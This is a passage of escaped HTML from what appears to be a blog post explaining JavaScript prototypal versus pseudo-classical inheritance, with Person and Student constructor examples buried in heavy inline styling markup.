border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;()&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;{&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;br /&gt;&amp;nbsp; alert&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;(&lt;/span&gt;&lt;span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;'hello I am a student'&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;);&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;};&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;span class="Apple-style-span" style="white-space: pre-wrap;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;span class="Apple-style-span" style="white-space: pre-wrap;"&gt;&lt;b&gt;&lt;b&gt;Psuedo classical &lt;/b&gt;Inheritance: &lt;/b&gt;achieved like &lt;a href="http://javascript.crockford.com/inheritance.html"&gt;this&lt;/a&gt;&lt;b&gt;.&lt;/b&gt; Difference between protoypal and classical as I observe is in prototypal, you just create an new object from old object. But in psuedo classical style, you create a inherits method on top of the constructor function of new object and point the prototype property of the constructor function of new object to the inherted object. &lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;span class="Apple-style-span" style="white-space: pre-wrap;"&gt;or instead of inherits you can also simply have. &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;pre class="default prettyprint" style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; line-height: 18px; margin-bottom: 10px; max-height: 600px; overflow-x: auto; overflow-y: auto; padding-bottom: 5px; padding-left: 5px; padding-right: 5px; padding-top: 5px; vertical-align: baseline; width: auto;"&gt;&lt;code style="background-attachment: initial; background-clip: initial; background-color: #eeeeee; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;span class="com" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: grey; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;// define the Person constructor function&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;function&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Person&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;()&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;{}&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Person&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;prototype&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;sayHello &lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;=&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;function&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;(){&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;br /&gt;&amp;nbsp; alert &lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;(&lt;/span&gt;&lt;span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;'hello'&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;);&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;};&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="com" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: grey; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;// define the Student constructor function&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;function&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Student&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;()&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;{}&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="com" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: grey; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;// inherit from Person&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Student&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;prototype &lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;=&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;new&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Person&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;();&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="com" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: grey; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;// correct the constructor pointer because it points to Person&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Student&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;prototype&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;constructor &lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;=&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Student&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; 